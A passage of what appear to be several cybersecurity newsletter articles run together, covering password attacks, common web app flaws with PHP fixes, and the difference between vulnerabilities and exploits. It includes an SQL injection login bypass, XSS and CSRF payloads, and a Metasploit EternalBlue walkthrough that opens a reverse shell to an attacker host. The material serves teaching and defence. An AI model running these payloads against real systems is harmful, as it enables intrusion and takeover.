Unlike brute force, a dictionary attack narrows the search space by trying passwords from a precompiled list of commonly used words and phrases.

These lists often include leaked passwords from previous data breaches, popular sports teams, keyboard patterns like “qwerty” or “123456,” and even names or swear words. They are also called wordlists.

Many people mistakenly believe that tweaking a common password  –  for instance, changing “password” to “P@ssw0rd!”  –  makes it secure. But dictionary attack tools account for these variations.

For instance, the tool Crunch allows attackers to generate wordlists with pattern-based rules, meaning “Welcome@123” is still a likely guess.

“123456”, “password”, and “qwerty” are still among the most common passwords in the world. Even passwords like “iloveyou” and “dragon” show up repeatedly.

To protect yourself, never use real words, names, or predictable patterns in your passwords. Instead, try using passphrases that are long, random, and unique  –  such as “truck-pillow-coffee-skyline” or a completely random string like “g6D@!rXplQ8#1zVn”.

Again, a password manager is the easiest way to maintain this level of randomness and uniqueness.

Credential Stuffing

Credential stuffing is one of the most successful and least sophisticated attack methods. It exploits one simple fact: people reuse passwords across multiple accounts.

When a site like LinkedIn or Dropbox gets breached and the passwords leak online, attackers take those stolen credentials and try them on other websites  – your email, Facebook, Netflix, or even bank portals.

This technique is highly automated. Attackers use bots to test thousands of username-password combinations across dozens of sites until they find a match.

Let’s say you used your Gmail password to sign up for a small forum years ago. That forum gets hacked, and your login details are exposed. If you’re still using that same password on Gmail, attackers now have a key to your inbox  –  which also means they may get access to all your other accounts via password reset links.

To defend against credential stuffing, use a unique password for every account. You don’t need to memorize all of them  –  just use a reputable password manager.

Also, turn on multi-factor authentication (MFA) wherever possible, so even if someone has your password, they still can’t log in without the second factor.

Phishing Attacks

Phishing isn’t a technical exploit  –  it’s a psychological one.

Instead of guessing your password, attackers trick you into giving it away.

Phishing often comes in the form of fake emails, text messages, or websites that look legitimate but are designed to steal your credentials.

For example, you might receive an email that looks like it’s from your bank, asking you to “verify your account.” The link takes you to a fake login page that captures your username and password the moment you enter them.

Tools like Evilginx and Modlishka can even bypass MFA by intercepting tokens in real time.

Phishing is widespread because it works. According to CISA, phishing was the most common initial attack vector in 2022. And it’s getting more convincing with the use of AI to write emails, spoof sender addresses, and create realistic-looking websites.

To stay safe, never click on suspicious links or enter login details on a site you reached through an email. Always type URLs manually or use browser bookmarks for sensitive sites like banking or email.

Train yourself to spot red flags  –  like poor grammar, urgency, or mismatched sender names.

Social Engineering and Password Resets

Sometimes, hackers don’t need technical skills at all  –  they just need to be convincing.

Social engineering involves manipulating people into giving up confidential information. One common tactic is calling customer support and pretending to be you. If the rep isn’t careful, they might reset your password or give access to your account.

This actually happened to tech journalist Mat Honan in 2012, when hackers used social engineering to take over his Apple account. They then used it to wipe his phone, lock him out of email, and access other connected services.

Another trick is exploiting weak password reset systems. If a service allows you to reset your password by answering questions like “What’s your pet’s name?” or “Where were you born?”, attackers may already know the answers from your social media or data leaks.

To avoid this risk, limit what personal information you share online.

Use fake answers for password reset questions  –  just store them in your password manager.

And wherever possible, enable two-factor authentication using an app like Authy or Google Authenticator instead of relying on SMS, which can be intercepted via SIM swapping.

Defense is Easier Than Recovery

Cybercriminals don’t always need to “hack” their way in  –  they just need you to slip up.

The good news is that most password attacks rely on human error and predictable habits. By using a password manager, enabling multi-factor authentication, and staying alert to phishing attempts, you can block nearly all of these threats.

Think of your digital life like a house. Would you use the same key for your home, car, office, and locker? Would you leave it under the mat? That’s exactly what weak or reused passwords do online.

Stay one step ahead. Lock your digital doors properly  – and don’t give attackers the key.

Join the Stealth Security Newsletter for more articles on Cybersecurity.

You might think your app is too small or too new to get noticed, but attackers use tools to scan the web for common security mistakes.

If your site is online and has a login form, a search box, or a database, it’s already being tested.

But here’s the good news: you don’t need to be a cybersecurity expert to protect your app. You just need to understand how these attacks work and write safer code.

Let’s go through ten of the most common ways hackers break into web apps—and how to fix each one, with clear examples.

Here’s what we’ll cover:

1. SQL Injection

2. Cross-Site Scripting (XSS)

3. Cross-Site Request Forgery (CSRF)

4. Broken or Weak Authentication

5. Insecure Direct Object References (IDOR)

6. Security Misconfiguration

7. Sensitive Data Exposure

8. Using Outdated Libraries

9. Broken Access Control

10. No Logging or Monitoring

11. Conclusion

SQL Injection

Hackers exploit this when your app lets them send raw SQL commands directly to your database. Here’s an insecure example in PHP:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

If a user enters this as the username:

' OR 1=1 --

The query becomes:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '';

This returns all users – because 1=1 is always true. That means anyone can log in without knowing a password.

This is called string-building, where user input is directly inserted into the SQL command. It treats the input as part of the code, not just data.

The fix: use prepared statements

Prepared statements separate code from data. The SQL command is defined once, and user values are passed separately – so they can’t break the logic.

Here’s the same query using PHP with PDO:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

This makes your code immune to SQL injection – even if a user tries to inject malicious input.

Cross-Site Scripting (XSS)

Let’s say your site shows comments. If someone posts this:

<script>alert('Gotcha!');</script>

And your site displays it as-is, every visitor sees a popup. That’s a basic XSS attack. A real attacker could do much worse – like stealing session cookies or redirecting users to fake login pages.

The fix: escape what you show

Escaping means converting special characters like < and > into harmless text.

In PHP:

echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

In JavaScript, you can use libraries like DOMPurify:

const safeHTML = DOMPurify.sanitize(userInput);

Never trust user input – especially when putting it back into your HTML.

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user’s browser into making an unwanted request to your site – without their knowledge.

Here’s how it works: a user logs into your app and then visits a malicious site. That site contains code like:

<img src="https://yourapp.com/delete-account" />

Since the user is already logged in, their browser sends the request – with cookies and all. If your app doesn’t check for CSRF, it assumes the user wanted to delete their account.

The fix: use CSRF tokens

These are unique, secret values included in forms:

<input type="hidden" name="csrf_token" value="abc123">

Your server must check this token on every request. If it’s missing or incorrect, reject the request. Most frameworks (like Laravel or Django) do this automatically.

Broken or Weak Authentication

If your login system is too simple, it’s an easy target.

Common mistake: storing passwords in plain text:

file_put_contents('users.txt', "$username:$password\n");

If this file leaks, all user accounts are exposed.

The fix: hash passwords

$hash = password_hash($password, PASSWORD_DEFAULT);

And to check them later:

if (password_verify($password, $storedHash)) {
    // Login success
}

Other critical fixes:

• Rate limit login attempts: Block or delay after 5 failed tries.

• Add multi-factor authentication (MFA): Send a one-time code via email or app.

• Use strong password policies: Require longer passwords with a mix of characters.

Each step makes brute-force attacks harder and protects user accounts.

Insecure Direct Object References (IDOR)

Suppose your site has this URL:

/invoice?id=123

A hacker tries:

/invoice?id=124

Suddenly, they can see someone else’s invoice.

The fix: verify ownership

$stmt = $pdo->prepare("SELECT * FROM invoices WHERE id = ? AND user_id = ?");
$stmt->execute([$invoiceId, $loggedInUserId]);

Always confirm the logged-in user owns the data they’re trying to access.

Security Misconfiguration

This refers to using insecure default settings or forgetting to disable things that shouldn't be public.

Examples include:

• Leaving error messages on in production (display_errors = 1)

• Exposing admin panels or debug tools

• Using default passwords or outdated software

These aren’t bugs in your code – but they’re just as dangerous.

The fix: disable detailed error reporting in production:

ini_set('display_errors', 0);

And secure admin tools with passwords, IP allowlists, or move them behind a VPN or private path.

Sensitive Data Exposure

If you send user data over HTTP instead of HTTPS, anyone on the network can read it – like passwords or credit card numbers.

Example of unsafe code:

file_put_contents('logs.txt', "User: $username, Password: $password");

If that log file is exposed, all passwords are leaked.

Fixes:

• Use HTTPS everywhere. Tools like Let’s Encrypt make it free and easy.

• Never store passwords in logs.

• Encrypt sensitive data at rest, especially if it’s personally identifiable info (PII) or financial data.

Using Outdated Libraries

Most apps use external libraries. If one has a known vulnerability, attackers can exploit it – even if your code is perfect.

To protect yourself:

• Regularly update dependencies. In Node.js:

npm audit fix

• In PHP:

composer update

• Replace unmaintained libraries with safer alternatives.

Broken Access Control

Some apps try to control access just by hiding buttons on the UI.

Example: A user isn’t shown the “delete post” button – but they manually send a request like:

POST /delete-post?id=5

If the backend doesn’t check permissions, the request goes through.

The fix: enforce access control on the backend

if ($user->role !== 'admin') {
    http_response_code(403);
    exit;
}

Don’t rely on the front-end to block actions. The server must check every request and confirm the user is allowed to perform the action.

No Logging or Monitoring

If something suspicious happens and you don’t have logs, you’ll never know.

Example log entry (in Laravel):

Log::info('User login', ['user_id' => $user->id]);

Set up alerts for suspicious behavior – like 100 failed logins in 10 minutes. Use monitoring tools like Sentry, Datadog, or ELK Stack to watch your app in real time.

If you don’t track what’s happening, you can’t stop it when things go wrong.

Conclusion

Hackers don’t need advanced tools. Most just look for easy wins – unescaped forms, plaintext passwords, outdated libraries, or exposed admin areas.

If you follow the basics in this guide, you’ll block 90% of those attacks.

You don’t need to fix everything today. Start with one item. Escape user input. Use HTTPS. Add CSRF protection. Each fix makes your app a little safer.

Want to learn more? Get strong basics in offensive security—take the Security Starter course.

What Are Vulnerabilities?

A vulnerability is a flaw in software or hardware that attackers can exploit. These flaws can range from weak passwords to outdated software.

For example, if you use default credentials when setting up a web server, you are creating a vulnerability. Attackers can look up the default login details in documentation and gain access to your server.

One of the most common vulnerabilities is outdated software. If you neglect to update your systems, they become easy targets.

Security updates exist for a reason — they patch known vulnerabilities. If you don’t apply these updates, your system remains vulnerable to known attacks.

What are Exploits?

An exploit is a technique or code that takes advantage of a vulnerability.

If an attacker finds a system with a weak password, they can use a brute-force attack to guess the password. In this case, the weak password is the vulnerability, and brute-forcing is the exploit.

In many cases, exploits are pre-written scripts that automate attacks. For example, an exploit for a vulnerable web application might allow an attacker to gain administrator access without a password.

Cybercriminals often share these exploits online, making it easy for even inexperienced attackers to compromise systems.

Real-World Examples of Vulnerabilities and Exploits

Several well-known vulnerabilities have led to massive cyberattacks. Here are a few examples:

EternalBlue and WannaCry

EternalBlue was a Windows Server Message Block (SMB) protocol vulnerability.

Attackers exploited it to spread the WannaCry ransomware, which infected computers worldwide in 2017. This attack was so damaging because many organizations failed to update their Windows systems.

Heartbleed

This was a vulnerability in OpenSSL, a widely used encryption library. Attackers could exploit Heartbleed to steal sensitive data from servers, including passwords and encryption keys.

BlueKeep

BlueKeep was a vulnerability in the Remote Desktop Protocol (RDP) that allowed attackers to take full control of a system remotely. If exploited, it could let malware spread across networks without user interaction.

Zero-Day Exploits: The Most Dangerous Threat

A zero-day exploit targets a vulnerability that has no known patch.

This means that even the software developer is unaware of the flaw when an attacker discovers it. Zero-day exploits are particularly dangerous because they give attackers a head start before a fix is released.

For example, if a critical vulnerability is found in a popular operating system, cybercriminals can develop exploits before users have a chance to update their systems.

This makes it essential for companies and security teams to monitor for emerging threats and respond quickly.

Where Do Vulnerabilities and Exploits Get Published?

There are public databases where vulnerabilities and exploits are documented. One such database is Exploit Database (exploit-db.com).

Security researchers and ethical hackers contribute to these databases by sharing details of known vulnerabilities and how they can be exploited.

If you scan a server and find that it’s running an old version of Apache, you can search for “Apache 2.7 vulnerabilities” on Exploit Database to see if any exploits exist. This is how security professionals check for risks in their systems.

However, malicious hackers also use these databases to find attack opportunities.

Command-Line Tools for Finding Exploits

If you prefer working in a terminal, there’s a command-line alternative called SearchSploit. This tool allows you to search the Exploit Database without opening a web browser.

SearchSploit comes pre-installed in security-focused operating systems like Kali Linux and Parrot OS.

To use it, you simply type:

searchsploit eternalblue

This command will return a list of known exploits for the EternalBlue vulnerability.

But what if you don’t know the name of a specific vulnerability? SearchSploit allows you to search more broadly. You can list known vulnerabilities for a particular software or service by using keywords. For example, to check for vulnerabilities related to Apache, you can run:

searchsploit apache

This will display a list of exploits related to Apache servers.

Additionally, you can use the -w flag to open exploit references in a web browser:

searchsploit -w apache

SearchSploit is a powerful tool that helps you quickly find and test known vulnerabilities.

Automating Exploitation with Metasploit

Finding and exploiting vulnerabilities manually can be time-consuming. This is where Metasploit comes in.

Metasploit is a powerful framework for penetration testing and security research. It automates many aspects of exploitation, from scanning for vulnerabilities to gaining access to a system.

Metasploit consists of:

• Exploits – Code designed to take advantage of specific vulnerabilities.

• Payloads – Malicious code that runs on a target system after a successful exploit.

• Auxiliary Modules – Tools for scanning, fingerprinting, and reconnaissance.

Let’s say an ethical hacker wants to test whether a machine is vulnerable to EternalBlue (MS17-010), a well-known Windows exploit.

Step 1: Open Metasploit

First, launch the Metasploit Framework by running:

msfconsole

Step 2: Search for the EternalBlue Exploit

To find available exploits, we can search within Metasploit:

search eternalblue

This returns a list of available modules related to EternalBlue.

The main exploit module is:

exploit/windows/smb/ms17_010_eternalblue

Step 3: Select and Use the Exploit

Now, they load the module:

use exploit/windows/smb/ms17_010_eternalblue

Step 4: Set the Target IP Address

The hacker sets the target machine’s IP address:

set RHOSTS 192.168.1.10

Step 5: Choose a Payload

They select a payload that will open a reverse shell on the target:

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5   # The attacker's machine
set LPORT 4444          # The port to listen on

Step 6: Launch the Exploit

Finally, they execute the attack:

exploit

If successful, this provides a Meterpreter shell, allowing full control over the target system.

Using Metasploit, an attacker can scan a system for vulnerabilities, select an exploit, choose a payload, and execute the attack — all in a few simple commands.

This is why both ethical hackers and cybercriminals widely use Metasploit. Here is a full tutorial on Metasploit if you’d like to know more about how you can use it as an ethical hacker.

How to Stay Protected?

Understanding vulnerabilities and exploits is the first step in defending against cyber threats. Here are some key strategies to protect yourself:

1. Keep software updated — Install security patches as soon as they are released.

2. Use strong passwords — Avoid using default or weak passwords. Implement multi-factor authentication (MFA) where possible.

3. Scan your systems regularly — Use tools like Nessus or OpenVAS to check for vulnerabilities.

4. Monitor exploit databases — Stay aware of new vulnerabilities that might affect your systems.

5. Use security tools — Firewalls, intrusion detection systems, and endpoint security software can help prevent exploits from succeeding.

Conclusion

Vulnerabilities are weaknesses in software or hardware, while exploits are the methods attackers use to take advantage of them. Some exploits are well-known and documented, while others, like zero-day attacks, appear suddenly and without warning.

By understanding how exploits work and staying vigilant with security updates, you can reduce the risk of becoming a target. Cybersecurity is an ongoing battle, and the best defense is staying informed and proactive.

Join my weekly newsletter to get more cybersecurity tutorials delivered to you every Friday. To learn hands-on offensive cybersecurity in five days, check out my Security Starter course.